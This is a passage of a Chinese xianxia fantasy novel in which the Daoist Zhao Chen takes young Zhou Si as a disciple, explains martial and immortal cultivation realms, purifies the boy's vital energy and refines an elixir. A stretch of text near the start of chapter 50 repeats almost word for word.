赵尘这声音好似晨钟暮鼓在元函心底荡起,元函猛地一个激灵,虽然只觉得赵尘说的是废话,但还是面露感谢道:“多谢师叔指点,我这就去将老太师和周公子请来。” 赵尘好像没有看出元函的心思一副孺子可教的点了点头:“去吧。” 见元函走后,赵尘才轻声道:“这些野草相比于其它野草,还有点先天不足。”说着,赵尘又想起了明尘当初的枣核变枣林的把戏,不禁摇了摇头,叹息道:“任重而道远啊!” 过了一会儿,元函带着周丹、周嗣两人和几个护卫、仆从回来了,在院外对赵尘道:“师叔,我将老周太师和他家小公子带来了。” “进来吧。”赵尘随口答道,随即放下书,转过身对带着周嗣走过来的周丹道:“见过周老先生,清微有失远迎,还望恕罪。” 周老太爷连忙快步走来,回了一礼道:“岂敢岂敢,听闻道长神通广大,前些日子在城中救渡百姓,可惜老朽福薄,却无缘和道长一见,实在遗憾。” 赵尘笑着将周丹迎坐在石凳上:“老先生说笑了,老先生当年执宰天下,兼济苍生,自是功德无量,何谈福薄呢?”说着,又对元函道:“元函啊,老先生由贫道自己招待便可以了,你去忙别的去吧。” 周丹闻言,也对元函说道:“道长说的是,小兄弟自去忙别的去吧。” 待元函离去之后,两人又是一番客套之后,周老太爷转过头,看了眼侍立在一旁的周嗣,对赵尘道:“听说我这个不成器的晚辈,竟有幸得道长看中,不知可是真的?” 赵尘摇了摇头,道:“不是我看中了周生,而是他自己的缘法。他因为这缘法和贫道我结缘,但最终如何,却还要看他自己的选择。” “哦?”周丹疑惑的看着赵尘,又转过头看了眼周嗣:“敢问道长,不知这是何缘法,而且道长说看我这曾孙自己的选择又是一个什么意思?” 赵尘笑将明尘师叔祖和他那位师兄的事情简单的提了两句:“因为受长辈所托,所以我和周生1之间有了些缘法,但这点缘法,是否渡其回宗门,这还是不确定的。” 说着,赵尘又拿起了桌上的茶水,微微抿了一口,放下茶水,微微一愣,不好意思的笑了笑,一挥衣袖,又在桌上变出了一副茶点,示意周老太爷他们随意,又开口说道:“宗中对所招手的弟子的要求,也是极其严格的。资质、根骨、悟性、心性、福缘、气运、功德等等,要求尽量都是上上之选。” 说着,赵尘一挥衣袖,在端起茶杯,微微抿了一口的掩饰下,暗中施展了一次灵眼术,朝周嗣头顶看去,只见眼前一片郁郁葱葱,好似一片漫漫青天一般,心中一片诧异,又转过头看了下周老太爷的气运,心中一片了然,暗道:好大的决心啊。 随即放下茶杯,又开口道:“周生,你的气运,依我上次见时,便已是足够了。到今天,已是远远超出了。虽有一些以运压命了,但也好解决,”说着,从袖中摸出一枚金色铜钱,递给周嗣。 待周嗣接过,又接着说道:“这枚铜钱,你佩戴在身上,可以将你的气运镇压住,一来,不会因为运大压命引来反噬,二来,也不会让你的气运快速消耗在平常琐事上面。” “话转回来,说完气运,再说一说功德,功德什么的,只要不是太少,就无所谓的,将来积累就是了。再之后便是心性、悟性之类的,这些因为时日太短,都看不出来,暂且不说,最后再说一下根骨、资质之类的。周生,你的根骨资质也就比大多数普通人略好一点,也就是个中人之资罢了。” 周嗣闻言,眼神略微暗淡了下来,闪过一丝失落,但转眼又恢复了过来,对赵尘行了一礼:“道长,那你之前说的选择又是什么是呢?” 从赵尘和周嗣说话时,周丹便在一旁慢慢的喝着茶水,好像事不关己一般,直到听见周嗣说话,眼中闪过一丝满意和赞赏,却依旧一言不发,慢慢的品着杯中的茶水和桌上的点心。 赵尘听周嗣这么一问,又看了眼周老太爷:“这些资质之类的问题也不是太大,只是要多花一些时间罢了,一来可以提升一下资质根骨,二来也可以考验、磨砺一下心性。若是你通过了考验,我自然带你回宗,若是没有……你看如何?” 周嗣没有立刻答应,略微思索了下,开口问道:“敢问道长,这考验的时间有多久,通过的可能性有多大呢?” 赵尘笑着看着周嗣:“周生,你怎会这么问,不怕我怪罪你心性不坚吗?” 周嗣一脸坚定的缓缓说道:“我辈凡人,怎比的道长寿元悠长,做选择时,自然要量力而行,待做出选择后,也一定会百折不挠。” 赵尘一脸笑意的点了点头:“不错,通过考验的几率,不在我而在你,只要你自己努力、坚持并且不放弃,八九成至少是有的。至于考验的时间嘛,虽是不怎么确定,但还是可以估量的,之前和你三叔说过,三五年不算少,八九年不算多,大概在十到二十年之间。现在,周生,你的决定呢?” 周嗣闻言,毫不迟疑的肯定道:“周嗣自然是愿意随道长去修行的,并且也会坚定不移的完成道长的考验的。” 周嗣话音刚落,周老太爷连忙开口道:“今日嗣哥儿能遇到道长,得道长指点,实在是天大的荣幸,老朽这里准备了几件礼物,还望道长不要推辞。” 说着,周老太爷朝院子外面招了招手,一群手捧礼盒的仆从快步走了进来,周老太爷把礼盒一一打开, 除了一般的财货、药材等。最珍贵的是两件兵刃,一件是一把宝剑,剑身上没有什么花纹,剑背清澈似水,剑刃幽冷锋利。还有一件是一把钢鞭,除去把手,长三尺九寸两分,分成八节,每节长四寸九分。 两件兵刃都是水磨精钢制成,这水磨精钢就两个特点:韧性高、硬度大。这水磨精钢制成的器具,就一个特点:坚韧。若是开了锋,又极其的锋利,而且很难磨损。 这水磨精钢制成的兵刃,放在江湖上,绝对是不可想象的最顶尖的神兵利刃,便是放在皇宫宝库之中,也是不错的宝贝。同样的,这水磨精钢,也是一种不错的制作法器的材料。比如说这两件兵刃,只要雕刻上适当的符纹、符印,稍微炼制一下。便是一件不错的法器。 这水磨精钢也是有等级之分的,最次的便是由上好的精铁,放入湍急的水流之中,经过千百年流水的洗炼,百余斤的精铁,大概还能剩下几斤重的不生一丝铁锈的,黝黑光亮的精铁,这便是水磨精钢了。再往上,还有镔铁、玄铁等产生的水磨精钢。而最上乘的便是由九天陨铁落入颇有灵性的冰泉寒潭中,经过数千年乃至上万年瀑布冲刷,洗炼产生的水磨精钢。 而用水磨精钢制作兵刃,则不能用火来锻烧或浇铸,只能用铁锤一点一点不经高温锻打出来,在最后完成之后进行一次淬火定型,便可以做到几乎永不磨损和变形。而这两件兵刃便是由陨铁产生的水磨精钢打制成的。 赵尘扫了一眼:“水磨精钢制成的兵刃,还不错,便留给周生吧。其它的就” 第五十章 离开沂州 周嗣没有立刻答应,而是略微思索了下,开口问道:“敢问道长,这考验的时间有多久,通过的可能性又有多大呢?” 赵尘笑着看着周嗣:“周生,你怎会这么问,不怕我怪罪你心性不坚吗?” 周嗣一脸坚定的缓缓说道:“我辈凡人,怎比的道长寿元悠长,做选择时,自然要量力而行,待做出选择后,也一定会百折不挠。” 赵尘虽知道周嗣这句话中,不但拍了自己的马屁,还带着丝丝诡辩,但还是一脸笑意的点了点头。 “不错,通过考验的几率,不在我而在你,只要你自己努力、坚持并且不放弃,八九成至少是有的。至于考验的时间嘛,虽是不怎么确定,但还是可以估量的,之前和你三叔说过,三五年不算少,八九年不算多,大概在十到二十年之间。现在,周生,你的决定呢?” 周嗣闻言,毫不迟疑的肯定道:“周嗣自然是愿意随道长去修行的,并且也会坚定不移的完成道长的考验的。” 周嗣话音刚落,周老太爷连忙开口道:“今日嗣哥儿能遇到道长,得道长指点,实在是天大的荣幸,老朽这里准备了几件礼物,还望道长不要推辞。” 说着,周老太爷朝院子外面招了招手,一群手捧礼盒的仆从快步走了进来,周老太爷把礼盒一一打开, 除了一般的财货、药材等。最珍贵的是两件兵刃,一件是一把宝剑,剑身上没有什么花纹,剑背清澈似水,剑刃幽冷锋利。还有一件是一把钢鞭,除去把手,长三尺九寸两分,分成八节,每节长四寸九分。 两件兵刃都是水磨精钢制成,这水磨精钢就两个特点:韧性高、硬度大。这水磨精钢制成的器具,就一个特点:坚韧。若是开了锋,又极其的锋利,而且很难磨损。 这水磨精钢制成的兵刃,放在江湖上,绝对是不可想象的最顶尖的神兵利刃,便是放在皇宫宝库之中,也是不错的宝贝。同样的,这水磨精钢,也是一种不错的制作法器的材料。比如说这两件兵刃,只要雕刻上适当的符纹、符印,稍微炼制一下。便是一件不错的法器。 这水磨精钢也是有等级之分的,最次的便是由上好的精铁,放入湍急的水流之中,经过千百年流水的洗炼,百余斤的精铁,大概还能剩下几斤重的不生一丝铁锈的,黝黑光亮的精铁,这便是水磨精钢了。再往上,还有镔铁、玄铁等产生的水磨精钢。而最上乘的便是由九天陨铁落入颇有灵性的冰泉寒潭中,经过数千年乃至上万年瀑布冲刷,洗炼产生的水磨精钢。 而用水磨精钢制作兵刃,则不能用火来锻烧或浇铸,只能用铁锤一点一点不经高温锻打出来,在最后完成之后进行一次淬火定型,便可以做到几乎永不磨损和变形。而这两件兵刃便是由陨铁产生的水磨精钢打制成的。 赵尘扫了一眼:“水磨精钢制成的兵刃,还不错,便留给周生吧。” 周老太爷看见赵尘的态度,也没有多说,留下了两件兵刃,将其它东西撤了下去:“既然如此,便不拿这些俗物冒犯道长了。不过我带来的这两匹马,还望道长收下,权当充个脚力。” 赵尘闻言向观外方向看了一眼,发现了两匹被精心挑选出来的马匹。虽不是什么猛兽精怪,但也有一些神异血脉,日行千里是轻轻松松。以周府的实力,要选出这两匹神驹,想来也不轻松。 “那便谢过老太师了。”赵尘想了想,最终没有拒接,随后对周嗣道:“周生,你还有什么要收拾的吗?若是没有,那就走吧。” 与众人辞别之后,赵尘便带着周嗣乘船,沿着沂水离开了,周老太爷送的两匹神驹自然也被牵上了船。明尘送给赵尘的船大小如意,养两匹马的地儿还是有的。 …… 三百一十六年,正月初。 漫天飞舞的鹅毛大雪中,一条沿着沂孟江东去的乌篷船,整个画面,颇有一种水墨质感。这一幕要是被那些文人墨客看见,怕都要发出江山如画的感慨。 若眼神好些,还能看见船上正有两个少年。一者十六七岁,正拿着一根竹竿在船头垂钓。还有一人十三四岁,正依在火炉旁看着手中的经卷。这两个人自然便是从沂州城离开的赵尘和周嗣了。 船上,赵尘将空空荡荡的鱼钩往上一提,连同竹竿一起塞入袖中:“周生,按照往年的情况,你现在应该是处于醉卧暖阁的状态吧。如今和我在这寒风凌厉、大雪漫天之中,泛舟江上,可后悔了?” 周嗣闻言,将手中的经卷放在不远处的桌子上,搓了搓手,往手心呵了口气:“老师说笑了,当日我便说过,既是做出了选择,我便自然会百折不挠的走下去,何来后悔之说。” 自周嗣随赵尘离开之后,因为称师傅、师兄都不合适,赵尘本来让周嗣直接称呼直接道人、道长的。但周嗣觉得称呼道人有些不礼貌,而称呼道长有些生分,便以“达者为师”的1理由,暂时称赵尘为老师。 “不后悔自然是好的,”说着,赵尘又拨了拨炉火,顺便往里面加了块木炭,接着说道:“这些日子,你也算看了几本经书,可有什么感受?” “却是让老师失望了,虽然知道着书之人,都是智慧高超之辈,我读书时也能感受到这些先贤们的高超智慧,但要说理解和感受,却是一点也没有。” 赵尘闻言笑道:“若是半年前这般问你,你定要和我侃侃而谈,如今却是这般回答,我也不知道哪一种更好一点。不过话又说回来,于现在的你而言,说不出什么感悟也是正常的。” 周嗣听赵尘这么一说,差点将手中的书砸赵尘脸上。当初周嗣虽赵尘离开,第二天一早,赵尘便将一堆大部头甩在周嗣面前,让他仔细研读,细细体会,说是过段时间会来检查,之后几个月,周嗣每天朝起早,夜眠迟,几乎不眠不休,仔细、认真、逐字逐句的揣摩了数百万字,若不是周嗣自小便服用各种天材地宝,如今就不仅仅是伤了元气这么简单了。可如今忽然告诉他,不考了…… 第五十一章 打磨心性 看见周嗣的神情,赵尘几乎眉眼含笑的说道:“周生,你虽说不出什么感悟,但想来你也知道,这些经卷你没有白读。” “这些经书对识货的人来说,都是宝贝。对那些饱学之士而言,这些经书对其眼界、心境、智慧的提升都是极大的。对那些喜好文学的人来说,这经书也全是数百年难得一见,足以传世的佳作。这样的经卷,想来你家中也找不到几本。” “而对那些修行之士来说,这些经书上许多奇幻的想象,都是一些极为高明的验证,并且经书的字里行间,还隐喻了许多神奇法术甚至是极高明的修炼之法。” 见将周嗣的心中的气焰打压下去,赵尘继续说道:“当然了,这些目前和周生你都没有关系,因为经历、眼界、水平、境界等的限制,你是什么也看不出来的。我让你读这些,只是让你平和心境用的。若是能给你增加一些底蕴,那也算是意外之禧了。” “经过了这半年的打磨,如今已经可以和你谈一谈修行了。” 周嗣闻言,心情立刻就雀跃了起来,当初说要待自己去修道的是赵尘,可之后的半年里,赵尘却又对修行之事只字不提,这对如今不过十来岁出头的周嗣来说,太考验心性了。 不等周嗣继续思绪乱飞,赵尘开口道:“周生,这仙道是修行,武道也是修行,你知道两者之间的区别吗?” 周嗣闻言,仔细想了想,最后摇了摇头,向赵尘请教起来。 “无尽岁月下来,无论是武道还是仙道,都形成了一全套的体系,这体系不仅是修行,还有技巧、理论、思想、哲学等等。纷繁复杂,这里就不多说了。我现在只说仙道和武道体系最初之时的理念,仙道所求者:成仙,而武道所求则是能打。” “当然了,如今这两者的核心理念早已变了。周生,那你对武道修行又有多少了解呢?” 见总说遇到自己会的题,周嗣连忙松了口气,不假思索的回答道:“武者修炼,先从壮大气血、打熬筋骨,熟练招式开始。到气血充沛,筋骨强健,招式熟练为止……” 到了这一步的人,便可以自称一声练武之人了。这样的练武之人,普通一点的,一个人便可以赤手空拳的打倒两三个空手壮汉。拎上一根短棍,更是能从十余个配合默契,手持兵刃的壮汉中冲出来。优秀的,以一敌十的也是有的、 这时,这些练武之人便处于一种精神充沛,甚至有些溢出的状态。其会在剧烈运动时从四肢百骸、五脏六腑中涌出一种温暖的热息,这热息对人的内脏、筋骨等都有一点微不可查的滋养作用。当然,这些热息也会在运动的剧烈程度稍有下降时便消散掉。 再之后,那些练武之人便继续壮大气血、强健筋骨、充沛精神。直到后来,只要稍一运动,便会在体内产生滚滚热息,这些热息也会在运动停止后很长一段时间内才消散掉。 在这个过程当中,有功法固然好,便是没有功法,在目前来说,差别也不大。 到这个时候,练武之人便可以借助功法,将这些热息在体内运转,吞噬体内积淀下来的水谷精气。将这些和水谷精气混合在一起的热息,利用体内的阴阳平衡,在功法的帮助下,将之炼成一丝丝或有属性,或无属性的内力。便正式成为了一名后天第一层的武者。 当然了,一些在武道上面资质不错的人,甚至不用功法,便可以做到内力自生。这种人只要获得一本不错的功法,在稍有点悟性的话,便能称一声先天种子了。 此外,在这个阶段,有一些秘法,可以将热息修出一种名叫气血的东西,单说对身体的滋养效果,更优于热息和内力,且对阴魂、残念等阴属性的东西的克制效果要远远超过内力,而且,并不是说修出了气血就不能修出内力了,甚至可以用气血加持内力。 同样的,也不是说修出了内力就不能在修出气血了,只是比修出内力前难许多罢了。这种修炼气血的法门虽然比一般的武功秘笈要珍贵许多,但在民间也算广为流传,此外这种法门也多见于军中、或者说军中武者,多是内力和气血同修,而先天境界,更是基本上都是同时有真气和气血的。 造成这种现象是因为单人独行之时,修出气血和单修内力相比,要消耗更多的资源和精力。而单人独行之时,气血除了一些特定情况,威力都不怎么大,唯有集众之时,才能显出其莫测威力。 成为后天武者之后,便要用内力按照特殊的法门依次温养、锤炼十二正经,这个过程被称为“打通经脉”。当然了,若是没有功法,蛮干也可以,只是相比于有功法者。不但十分危险,效率也很低下。而且还有种种缺陷。这便是后天十二层。 待后天十二层圆迈之后,将十二正经中的内力全部导入气海穴,开辟丹田气海,再和体内自母体中带来的一丝‘先天之气’混合,将那丝‘先天之气’化作先天真种,再将外界灵气吞入体内,将体内灵气和内力的混合物用先天真种点化,变成先天真气,自此进入先天境界,成为先天武者。 之后便是先天一重,开辟奇经八脉,先天二重天吗,开辟周身百脉,以此打下武体的基础, 因为开辟百脉的方法和顺序不同,所构建的武体雏形基础也千差万别、这开辟百脉的方法和打通经脉类似,只是更加的复杂和精妙。所以在此时。就没有了蛮干的可能、这两重天又被称为通脉境。 之后先天三重天便或是参悟种种武学,或是直接师法自然,凝炼种种真意。待先天四重天时,便要确立自己的体系,之前凝炼的种种真意。或纳入其中,或抛弃遗忘。这两重天又称为真意境。 第五十二章 仙武之别 之后的先天五重天和先天六重天,便是以自身真意和天地交感。先天六重天动手之时,若没有特殊的封印等原因,十数里外便能看见。有些功法上乘。根基深厚之人,其交手产生的异象,二三十里外都能看见。故先天五重天和先天六重天又被称为天象境。 而先天七重天和先天八重天,从天象境开始通过和天地交感来师法天地,到此时,便可以在丹田之中,用种种真意和先天真气构一个虚幻小世界,所以这两者又被称为乾坤境。 先天七重天的武者,丹田中的虚幻小世界还不完整,但在拼命之时,还是可以以小世界破灭为代价,在小世界破灭的过程中,使自己的一招一式都带着一股大破灭的韵味,使威力大增。 但这个过程是一个不可逆的过程,,每次使用之后,都要花费大量时间,用来养伤和重新搭建虚幻小世界。少则三五月,多则两三年。 而且先天八重天的武者,丹田中的虚幻小世界,常年累月下来,甚至能诞生丝丝缕缕的虚乾坤之力,并可以将这丝丝缕缕的虚乾坤之力加持在先天真气上面。 “而在先天八重天之上,据说还有半步宗师境界和宗师境界,但具体的我就不清楚了。”周嗣将自己知道的关于武者修行的情况一一说了出来。 赵尘闻言点点头,周家两百年的积累。这点底蕴还是有的:“关于武道修行初期的情况,你说的基本没错。既然你已然对武道体系有了基础的了解那我就对照着武道,给你说一说仙道体系的基础吧!” “还请老师指点。” “之前和你叔父说了一点关于仙道修行境界的划分。不知你是否知道?” 不待周嗣回答,赵尘接着说道:“仙道修行,其体系众多,但正统法门,前三个境界都是培元、养气、金丹” “这培元境界,和武道修行的打熬筋骨类似,但不同的是培元境作为仙道修行的起始,是一个单独的境界,而打熬筋骨作为武道修行的起始,却不是……” “所以若是你将来能够通过考验,为了能让你有一份完美道基,在你或是进入宗门,或是考验失败之前,我是不能传你仙道法门的。” 赵尘为周嗣大概解说了培元、养气、金丹三境的修行,继续说道:“无论是武道锤炼出来热息,还是仙道孕养出来的内息,其都是自身元气的异化。只是仙道对元气异化非常的中正平和,而武道异化出来的元气也十分温和,但和仙道相比,还有些躁动、炙热。” 周嗣听到这里,心中骤然咯噔一声。果然,赵尘接着说道:“周嗣,你在武道修行上,也算勉强摸到了门栏,体内已然诞生了热息。” “再加上你练武之时,用了大量的药材来补充元气,体内的元气混杂了大量的药性,这于武道修行而言是毫无问题的,甚至大有益处。但仙道的初始阶段是一个唯精唯微的过程。所以你的元气,于仙道而言,显得极为浑浊、杂乱、散漫。还混杂了大量的水谷精气和杂乱药性。” 周嗣闻言虽然心中骤然一紧,但转眼就冷静了下来,恭敬的一礼道:“还请老师指点。” 赵尘瞅了一眼,淡淡的开口道:“这办法嘛,还是有的,还有两个。” 不待周嗣开口,赵尘继续说道:“这一嘛,就是修行武道,这武道也是一条大道,我之前说是邀你去随我修道,而不是随我修仙。这也不算违背承诺。” “而且,若是你真的对仙道念念不忘,将来等你修炼到武道大宗师境界,也有秘法,以跌落境界为代价,将自身修为转化成底蕴,并转化到金丹境界,以此跨入仙道门栏。” 赵尘没有说的是,大宗师级的武道强者,于偏仙道练气一脉来说,是真正的仙庙、仙道种子。 周嗣听到赵尘的话,心念一闪,脱口而出道:“敢问老师,不知第二个方法是什么?” 这一来是因为这个方法,要迈入仙道只有成为大宗师才行。而·于周嗣而言,奇人异士经常见到。求道修行修仙之辈也有所耳闻,宗师武者也听说过几个名号,而大宗师,在今天之前压根就不知道有这个武道境界。可想大宗师的稀有程度,这也说明了要成为大宗师的艰难。 二来则是因为,赵尘之前便说了道基于仙道的重要性,而走这条路,,道基就没有办法弥补了。 “这第二个方法嘛,你就要吃点苦头了,周生,你可要想清楚了。” “还请了老师指点。” 见周嗣态度坚决,赵尘心中暗自点了点头:“这第二条路,其实很简单,我出手将你体内的热息之类的打散,使之返本还源,再将这其中绝大多数从你体内抽出来。之后传你一套滋养元气的法门,再定时帮你将体内浑浊的元气抽取出来,如此不断反复,花上一年左右的功夫,将你体内的元气纯净一遍,之后便可以从头开始,重新修炼了。” “老师,这样反复摧残人体的元气,是否有损身体?” “不会,人体之中自有一点先天之气,这在胎儿时期便已成,在婴儿时期不断消磨,但实际上也是不断精炼的过程,到最后剩下的那一点先天意,藏在身体的最深处,这也是成就武道先天的基础,只要方法得当,有这点先天意为根,消耗的元气都能补回来。只要元气补回来对身体的损伤也会恢复。” 说话时,赵尘心中忽然灵光一闪,心中暗自道:“一点先天气、胎儿、婴孩、精炼、先天意,原来我参悟那先天婴孩意的契机在这里。” 想到这里,赵尘心中泛起一丝欢喜,但话却没有停,继续说道:“好了,现在要做决定了,周生,我再问你一次,你究竟选择哪一条路?” “老师,弟子还是选择第二条路。” “既然做出了选择,就不要后悔。宜早不宜迟,我们这就开始吧。”说着,赵尘坐在椅子上,用手指往身后船舱的木板上敲了敲,只见整座乌篷船大放光芒,一阵青色霞光闪过,乌篷船变作了一座中小型的楼船,十来丈宽,三五十丈长。 第五十三章 打散热息 周嗣只听见一阵敲击木板的声音传来,便看见周围大放光明,满眼都是刺眼的青光。随即不禁闭上眼睛。待重新睁开眼睛之后,却见周围焕然一新,只能隐约辨识出一点与之前相似的地方,虽不是第一次见到这样的情景,周嗣还是惊奇万分。 赵尘看见周嗣的表情,一脸平淡的道:“之前的场子有点小了,怕施展不开,所以变大了些。好了,快点起来吧。” 待周嗣起身之后,赵尘说了声“站好”,便伸出右手,暗运法力于掌心,将整个右掌用法力包裹起来,快速的在周嗣身上快速拍打起来。 不到一个呼吸的功夫,赵尘便将周嗣周身拍打了一遍,随之甩了甩手腕,又重新开始拍打周嗣,如此三遍,方才结束。 之后,赵尘左手一翻,一个白玉杯被拿在手中。赵尘又重新将右手轻轻按在周嗣身上,然后像拔火罐一样迅速一拉,只见被法力包裹的右手掌心满是水汽。赵尘将手腕一甩,掌心的水汽便变成一滴滴水滴,落入左手的白玉杯中。 便这样,赵尘重新在周嗣身上拍打了一遍。相应的,玉杯之中也装了大半杯这种略显浑浊的水。 在赵尘第一遍拍打周嗣时,周嗣只觉的随着赵尘每一下拍击,便有一处变的滚烫。随着赵尘第一遍拍击结束,周嗣浑身上下一片赤红。 而随着赵尘第二遍拍打,随着赵尘每一次拍打,便有一处的滚烫被拍散,化作数十到细微的热流在全身乱窜。随着第二遍拍打结束,周嗣的皮肤恢复之前的颜色,而周嗣却觉得体内有无数股比发丝还细的热流在自己体内乱窜。 随着赵尘第三遍拍打,周嗣只觉的体内的热流全部被拍散,就好像一股细小的水流撞到石头上,飞溅成无数滴微小的水滴一样。待到最后一遍时,随着赵尘每一次将手掌从身上拔开,周嗣便觉得一处酸软无比。等一遍下来,周嗣已经瘫软在地上了。 周嗣抬眼看去,只见赵尘用手指轮换着点击着白玉杯的杯壁,每次都有三根手指落在杯壁之上,将白玉杯虚托在掌心。同时掌心上一片青色云烟缭绕,将整个白玉杯隐隐包裹起来。于此同时,赵尘的另一只手招来一团清水,将自己的右手仔细清洗了一番。 便这样过了一会儿,赵尘将手中法力散去,掌心微微往上用力,便将十数颗红豆大小的半透明白色药丸从玉杯中甩出。 赵尘右手一翻,拿出一个小小的白玉盘,将从空中落下的十几颗药丸全部接住。将盛着药丸的玉盘往桌上一放,赵尘顺手将杯子一倾,一小撮灰白色的灰烬便从杯中倒出,随风而逝。接着赵尘将玉杯洗净,塞回袖中。 接着,赵尘又从袖中摸出几只空瓷瓶,手微微一震,便盘中药丸震成粉末,全部倒入瓷瓶之中。随即,赵尘随手将玉盘塞入袖中,将小瓷瓶的瓶盖塞紧,顺手抛给周嗣。 周嗣被赵尘这一通动作弄的眼花缭乱,连忙将瓷瓶接住,随后便听见赵尘说道:“我已经将你体内的热息处理干净了,能打散的都尽力打散了,将其中绝大部分和不能打散的,都从你体内抽了出来。” “本着不浪费的原则,我将从你体内抽出的热息、精元、还有许多杂乱的药性之类的东西又炼制了一番。对普通人来说,却是大补元气的神药,而且还极易吸收。而且对武者来说,也是极有用处的,若是一名普通后天武者,这一瓶药,可以省他十年苦修。你且收好,说不定日后有用。” 赵尘说话间,看着周嗣有些奇怪的表情,继续说道:“这有什么好嫌弃的,这绝对比你以前服用的那些天材地宝要干净。而且,退一步说,这药绝大多数可能性,也是你将来给别人服用……” 赵尘嘴上虽然这样说着,心里想的却是以后看是否可以找个机会,让周嗣自产自销,将这些药用掉。随后心思又跳了一下,看着周嗣手中的瓷瓶。心中暗自道:“看来我的设想没有错。明尘师叔祖诚不欺我,我辈修道之人,还真是要学会炼丹啊。” “看来我也要过一段‘炉中有药参先天’的生活了。我是不是要应景的说一声‘吾道成矣’啊?”赵尘心中喜滋滋的暗自调侃着自己一番。 思绪一阵飘飞后,赵尘又迅速定下心来,随后说道:“没什么,今天便先这样吧。从明天开始,我传你一套导引术。” “这套导引术总共有七千多个动作,其它什么功效也没有,唯善滋养元气,完成一套动作需要一旬时间。正好,待你每次将这套动作完成,我再用泄气之法,将你体内的浑浊元气泄出部分,大概三十六次,便可以完成对你体内的元气的纯净了。” 说着,赵尘从袖中捧出一部大部头,递给周嗣,待周嗣接过:“这便是那套导引术,你回头先自己看看吧,我明天给你仔细讲讲。” 随后,赵尘又严肃道:“对了,从明天开始,未来的一年多时间,你只能食用些鱼肉谷蔬,像一些芝草药材是万万不可食用的,至于灵果之物,是闻都不能闻的。周生,这一点你要千万记住。” …… 一转眼,又是是夏末秋初的时节,天气虽还比较热,但也渐渐凉爽了起来,偶尔几场秋雨之后,甚至会有丝丝寒意一闪而逝。此时距赵尘离开沂州城已经过去一年有余了、当然,赵尘的楼船这时也早已经离开了沂孟江,从沂孟江入洛水,驶在洛水之上。进入了洛州大地。 而洛州便是窦氏皇朝的皇城所在。作为环绕整个洛州的洛水,全长一百多万里。相传,当年窦太祖共分五个批次,历时五十年,共征发民夫两千亿,联通了包括孟江、沂江、济江等在内的六条大江方才修建而成。 赵尘行船在洛水之上,虽然只是在洛州比较靠外的地方,离窦氏皇城还很远,但也是极其繁华的。不时便可以看见有数百丈长的船只往来不绝,穿梭不停、昼夜不息。 第五十四章 成丹 一天,赵尘一个人待在一间丹房之内,屋中陈设极其简单。 窗上挂着竹木帘子,透过帘子可看见远处江面。墙上挂着十来只葫芦,分做两边,一边六只,一边九只。屋子中间放着一只四方小鼎,高三尺六寸,鼎足高一尺二寸,鼎身连同鼎耳高两尺四寸。小鼎放置在一座一丈见方的玉垫上,鼎下生着火。 赵尘盘坐在鼎前,身边放着六个葫芦,和墙上的十几只葫芦一个样式,左边五只,右边一只。 看着眼前的丹鼎,赵尘微微的叹了口气,从袖中摸出一个瓷瓶。从瓷瓶中倒出一粒比黄豆略大的丹药,在手中把玩了一番,放回瓷瓶中,自言自语道:“后天武者服下,可以精纯内力,增进两三层修为,并且可以让后天武者突破到先天武者的几率增加七层。” “对大多数人来说,突破几率增加七层,突破到先天武者几乎是板上钉钉了。这颗价值几千两的灵丹妙药,对我来说却是毫无用处。这一炉也快要成了,不知道是不是我所求的。” “来了!” 赵尘伸手拿起右边的葫芦,拔开葫芦嘴,对着丹鼎往葫芦底用力一拍。便看见一道略显浑浊的气流飞入丹鼎中。赵尘将葫芦往左边一放,双手贴着鼎壁,细细感受着丹鼎中的变化。 这葫芦中装的便是周嗣的元气。赵尘每次帮周嗣行针,都会抽出周嗣六分之一的元气,所以每六个葫芦中装的元气便等于周嗣全部的元气了。 正是之前的灵光一闪,赵尘决定通过炼丹的方式,来参悟元气变化之妙,借此明悟先天婴孩真意,完成元婴期最后的修炼。 结果赵尘前几次炼丹时可以说不出意外的失败了,炼出了一堆对自己毫无用处的丹药,但好在每次都稍有进步,但只靠这种水磨工夫,单从周嗣处,总共只有六次机会,却是远远不够。如今又到了的关键时候了,但赵尘却依旧心态平和。 随着那一道浑浊的元气落入丹鼎之中,被鼎中火焰一舔,立刻四散开来,大致分成了三层。 第一层便是那掺杂在元气中的各种浑浊、杂乱的药性,刚从那一道元气中分离,便沉到丹鼎之底。第二层被分离出来的便是绝大多数的生命元气,被分离后,四散开来,弥漫在整个丹鼎中,又逐渐在鼎内的上下四周聚集。最后剩下的只有一缕微不可查,近乎虚幻的先天元气。 这一缕先天元气被剥离出来之后,缓缓落到之前五缕先天元气之中。霎时,六缕先天元气互相勾连在一起,组成一个既稳定,又脆弱的结构。于此同时,这个结构每一个刹那都有着数十到上百个变化,飘忽不定。 赵尘守在丹鼎前,心中默默计算。正在那个由六缕先天元气组成的结构进行第三百个变化时,将一道先天灵气从造化大磨中抽出,弹入丹鼎之内,弥漫在那个结构周围。 这时,若是把整个丹鼎比作一个蛋壳,那围成一个球的生命元气便好像蛋清,而被生命元气包裹的先天灵气便是蛋黄,沉浸在先天灵气中的那个结构便是蛋黄中的胚胎。 在结构从第三百个变化结束,进行第三百零一个变化时,那个结构猛然吸尽周围的先天灵气,化作一点灵光。那点灵光每一次闪烁,便是那个结构的一次变化。于此同时,这个结构的变化速度开始变慢很多,从每个刹那数十上百次变化变成每个刹那十数次闪烁。 待那个结构第五千次变化之时,赵尘又是一道先天灵气弹入。于此同时,用法力催动丹鼎,使鼎内乾坤颠倒,阴阳逆转。那一点灵光的第五千零一次变化猛然停止,回到第五千次变化,并向最初的结构变去。 便这般乾坤颠倒,阴阳逆转八十一次,那一点灵光中的结构又回到了最初。一点灵光被包裹在生命元气中,沉沉浮浮,散发着神秘的波动。 赵尘强按住心中的激动,用手一拍鼎壁,那一团生命元气忽然撕裂开来,被包裹在生命元气中的一点灵光猛地一跃,飞出鼎外,浮在半空中。其先是变作拳头大小,又猛地一个收缩膨胀,再滴溜溜一转,便化作一只足有三尺三寸三分大小的青紫色灵芝,异香满室,周身散发着阵阵圆满、如意的气息。 灵芝在半空中轻轻摇摆中,生命的气息从无到有,不断加深。 忽然间,灵芝又变作了一只人形的人参,也足有三只三寸三分大小,闻上一口都有一种延年益寿的感觉,同时,人参的人形愈发灵动,好像要真的变成人参娃娃一般。 突然,整个人参猛地一缩,变作一个一尺一寸一分高的赤子婴孩,通体赤红,眼色灵动,如果不是漂浮在半空中,便真的和刚生下来的婴孩一模一样了。婴孩乌黑明亮,又纯净剔透的大眼睛一转,好像在观察周围环境,于此同时,婴孩张开嘴发出三声啼哭。 